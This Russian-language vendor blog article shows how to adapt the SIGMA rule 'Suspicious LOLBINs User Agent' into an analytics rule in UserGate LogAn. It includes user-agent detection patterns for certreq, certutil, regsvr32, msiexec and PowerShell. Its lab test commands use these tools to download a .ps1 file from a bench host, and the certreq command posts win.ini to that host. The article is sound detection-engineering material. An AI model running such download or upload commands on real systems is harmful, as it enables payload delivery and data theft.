TS Solution
TS Solution
Пользуясь нашим сайтом, вы соглашаетесь с тем, что мы используем cookies 🍪
Настройки cookie
Обязательные cookies
Эти файлы cookie необходимы для того, чтобы вы могли пользоваться сайтом и его функциями. Их нельзя отключить. Они устанавливаются в ответ на ваши запросы, такие как настройка ваших предпочтений конфиденциальности, вход в систему или заполнение форм.
Аналитические cookies
Disabled
Эти файлы cookie собирают информацию, чтобы помочь нам понять, как используются наши веб-сайты или насколько эффективны наши маркетинговые кампании, или чтобы помочь нам настроить наши веб-сайты для вас.
Рекламные cookies
Disabled
Эти файлы cookie предоставляют рекламным компаниям информацию о вашей активности в Интернете, чтобы помочь им предоставлять вам более релевантную онлайн-рекламу или ограничивать количество показов рекламы. Эта информация может быть передана другим рекламным компаниям.
21 февраля 2022

Suspicious LOLBINs User Agent

Применение SIGMA-правила на UserGate Logan
SIGMA – это унифицированный формат описания правил детектирования событий. Существует большая накопленная сообществом экспертиза, хранящаяся в виде SIGMA-правил. В статье рассмотрим пример, который поможет вам при создании правил корреляции для Logan на основе SIGMA.

В этой статье вы узнаете о:

  • процессе обнаружения инцидентов
  • написании SIGMA правил с примерами
  • том, чем опасны LOLBINs и какой ущерб они могут нанести сети
  • соответствующих настройках UserGate LogAn v6.2.

SIGMA-правила для SIEM

SIEM (Security Information and Event Management, Система сбора, анализа и корреляции событий) – система управления информацией о безопасности и событиями информационной безопасности.

Сейчас мы кратко рассмотрим, как происходит обнаружение инцидентов ИБ:

SIEM используют определенные правила, с помощью которых определяется вредоносная активность. Эти правила отслеживают события в контролируемых системах. Например, при частом возникновении Event ID = 4625 (отказ входа в систему) считается, что происходит brute-force атака на систему. И таких правил может быть множество: правило, обнаруживающее очистку логов; правило, обнаруживающее запуск cmd.exe макросами и т.д.

В том, чтобы извлечь события ИБ – сложности нет. А вот с написанием правил есть несколько проблем, так как для этого принято использовать специальный язык запросов определенной SIEM. Тем не менее существуют определенные стандарты написания таких правил.

SIGMA – язык описания правил обнаружения инцидентов для SIEM. SIGMA-правила представляют собой YAML-документы, которые описывают сценарии выявления вредоносной активности. Данные правила состоят из блоков:

  • описание правила;
  • описание источников данных;
  • описание условий срабатывания.

Ниже представлен пример SIGMA-правила, выявляющего очистку логов Windows:

title: Security Eventlog Cleared				# описание правила
id: f2f01843-e7b8-4f95-a35a-d23584476423			# идентификатор правила
description: Some threat groups tend to delete the local 'Security' Eventlog using certain utitlities							# описание детекта
tags:								# тег правила
- attack.defense_evasion					# тактика MITRE ATT&CK
- attack.t1070							# техника MITRE ATT&CK
- car.2016-04-002						# аналитика
author: Florian Roth
date: 2017/02/19
logsource:							# источник обнаружения
product: windows						# продукт
service: security						# сервис получения событий
detection:							# процесс обнаружения
selection:
EventID:
- 517
- 1102
condition: selection
falsepositives:
- Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog)
- System provisioning (system reset before the golden image creation)
level: high
Преимуществом SIGMA является общедоступность проекта. Это значит, что любой пользователь может скачать базу правил и использовать ее для своих систем

Правила обнаружения тактики LOLBINs

А что насчет более сложных атак?

LOLBINs или Living off the Land – это тактика использования легитимных программ для обхода средств защиты. Примерами таких программ могут выступать PowerShell, bash, psexec, certutil и другие.

Примеры атак с использованием LOLBINs:
  • Загрузка и выполнение вредоносного кода;
  • Обход UAC.

LOLBINs опасны тем, что для выполнения вредоносной активности используются разрешенные программы.


Процесс обнаружения таких атак основан на анализе событий и их корреляции. О том, как обнаружить факт использования LOLBINs с помощью UserGate Log Analyzer v6.2, расскажем ниже.

Рассмотрим случай написания правила аналитики в продукте UserGate Logan для обнаружения использования нестандартных методов скачивания вредоносного ПО на компьютеры жертвы. За основу возьмем SIGMA-правило, созданное сообществом на основе публичных материалов:

title: Suspicious LOLBINs User Agent			# описание правила
id: 04427190-98d6-4bba-a0fb-5db3b73ec245		# уникальный идентификатор
description: Detect suspicious usage of LOLBIN tools	# описание детекта
date: 2021/04/05					# дата создания правила
modified: 2021/04/05					# дата последнего изменения
references:						# список источников
  - https://lolbas-project.github.io/lolbas/Binaries/Certreq/
  - https://lolbas-project.github.io/lolbas/Binaries/Certutil//
  - https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
  - https://lolbas-project.github.io/lolbas/Binaries/Msiexec
tags:							# тег правила
  - attack.comand_and_control				# тактика MITRE ATT&CK
  - attack.t1105					# техника MITRE ATT&CK
logsource:						# источник журнала
  category: webserver					# категория журнала
detection:						# процесс обнаружения
  certreq_ua:						# скачивание ПО с помощью certreq
    c-useragent|startswith:
      - 'Mozilla/4.0 (compatible; Win32; NDES client')
  powershell_iwr_ua:					# скачивание ПО с помощью PowerShell
    c-useragent|contains|all:
      - 'Mozilla/'
      - 'WindowsPowerShell/'
  powershell_iwr_whitelists:
    - c-uri:
      - '/adfs/probe'
    - curl|endswith:
      - '.crl'
  certutil_ua:						# скачивание ПО с помощью certutil
    c-useragent|startswith:
      - 'Microsoft-CryptoAPI/'
  certutil_whitelist:
    - cs-host|startswith:
        - 'ocsp.'
    - cs-host:
      - 'ctldl.windowsupdate.com'
    - cs(Content-Type):
      - 'application/pkix-cert'
      - 'application/pkix-crl'
      - 'application/pkcs7-mime'
      - 'application/ocsp-response'
      - 'application/timestamp-reply'
    - c-uri|endswith:
      - '.crl'
      - '.crt'
      - '.p7c'
  regsvr32_ua:						# скачивание ПО с помощью regsvr32
    c-useragent|startswith:
      - 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E'
  regsvr32_whitelist:
    c-useragent|contains:
     - 'MSOffice'
  msiexec_ua:						# скачивание ПО с помощью msiexec
    c-useragent:
      - "Windows Installer"
  condition: certreq_ua or (powershell_iwr_ua and not powershell_iwr_whitelists) or (certutil_ua and not certutil_whitelist) or (regsvr32_ua and not regsvr32_whitelist) or msiexec_ua
fields:							# оценка события
  - c-uri
  - client_ip
  - fields
falsepositives:
  - certutil.exe can upload other types of crypto files, in that case, the need to be added to the whitelist.
  - Powershell iwr commandlet can later be used for other internal windows tasks.
level: medium
Подробности по настройке UserGate Logan изложены в документации к продукту: «https://static.usergate.com/manuals/logan/6.2.0/ru». Мы рассмотрим частный случай написания правила аналитики.

В SIGMA-правиле в качестве источника используется лог веб-сервера. В Logan будем использовать раздел «Analytics search», где в качестве источника выбираем «webaccess log»:
Опишем первое условие поиска «certreq_ua»:

(userAgent ~ 'Mozilla/4.0 (compatible; Win32; NDES client').

Для тестирования воспользуемся описанным в примере «https://lolbas-project.github.io/lolbas/Binaries/Certreq» способом. На стенде выполним следующую команду:

certreq -Post -config http://192.168.44.57/file.ps1 c:\windows\win.ini file.ps1.

Через интерфейс Logan, выполним поиск с помощью нашего условия:
Найдено 2 записи.
Далее опишем правило поиска UserAgent (powershell_iwr_ua), который используется Powershell по умолчанию, при этом необходимо исключить легитимные запросы (powershell_iwr_whitelists):

(userAgent ~ 'Mozilla/' and userAgent ~ 'WindowsPowerShell/') AND (url !~ '/adfs/probe' and url NOT MATCH '\.crl$')

В соответствии с полем «condition», объединим эти 2 условия:

(userAgent ~ 'Mozilla/4.0 (compatible; Win32; NDES client') OR ((userAgent ~ 'Mozilla/' and userAgent ~ 'WindowsPowerShell/') AND (url !~ '/adfs/probe' and url NOT MATCH '\.crl$')).


Для надежности рекомендуется тестировать каждое правило в отдельности, а потом объединять их, усложняя запрос. Для тестирования 2-го правила на стенде выполним команды, которые используют один механизм Powershell:

Powershell.exe –c curl http://192.168.44.57/file.ps1 -Outfile file4.ps1
Powershell.exe –c wget http://192.168.44.57/file.ps1 -Outfile file5.ps1
Powershell.exe -Command Invoke-WebRequest -Uri http://192.168.44.57/file.ps1 -Outfile file6.ps1.


Выполним запрос с нашим фильтром и получим следующий результат:
Для просмотра записей переключимся на текстовый режим просмотра:
В результате мы нашли запросы, сделанные с помощью утилиты certreq и powershell, с учетом исключения легитимных запросов.

Далее по аналогии описываем следующие поля Sigma-правила. В результате получим следующий запрос в Logan:

source = 'webaccess log' and (userAgent ~ 'Mozilla/4.0 (compatible; Win32; NDES client') OR ((userAgent ~ 'Mozilla/' and userAgent ~ 'WindowsPowerShell/') AND (url !~ '/adfs/probe' and url NOT MATCH '\.crl$')) OR ((userAgent MATCH '^Microsoft-CryptoAPI/') and (url NOT MATCH '^http?://ocsp\.' and url !~ 'ctldl.windowsupdate.com' and url !~ "www.download.windowsupdate.com" and mime != 'application/pkix-cert' and mime != 'application/pkix-crl' and mime != 'application/pkcs7-mime' and mime != 'application/ocsp-response' and mime != 'application/timestamp-reply' and url NOT MATCH '\.crl$' and url NOT MATCH '\.crt$' and url NOT MATCH '\.p7c$')) OR ((userAgent ~ 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E') AND (userAgent !~ 'Office' and url !~ 'oneclient.sfx.ms' and url !~ 'live.com')) OR (userAgent = 'Windows Installer').
В результате получим все подозрительные запросы, которые попадают под Sigma-правило:
Теперь можно создать правило аналитики для детектирования.

Необходимо создать правило:
Создать условие, в котором задать фильтр:
Работу правила можно проверить в «ретроспективном режиме» на уже имеющихся событиях:
После активации правило начнет работать в режиме реального времени, а результат его работы можно будет увидеть во вкладке «Triggered alerts»:
При клике на «Triggered alert ID» попадаем в детали события, где можно просмотреть подробности:
Таким образом, мы реализовали Sigma-правило, созданное для детектирования определенной подозрительной активности.

Вывод

Проект SIGMA помогает аналитикам SOC обмениваться знаниями и помогать сообществу по ИБ бороться с возникающими угрозами. Хотя, сами правила являются несложными по синтаксису, они служат верным инструментом по выявлению инцидентов в SIEM-системах.

Авторы статьи: Максим Подобаев, Никита Бекетов, Центр мониторинга и реагирования UserGate и Дмитрий Лебедев, инженер TS Solution

Остались вопросы?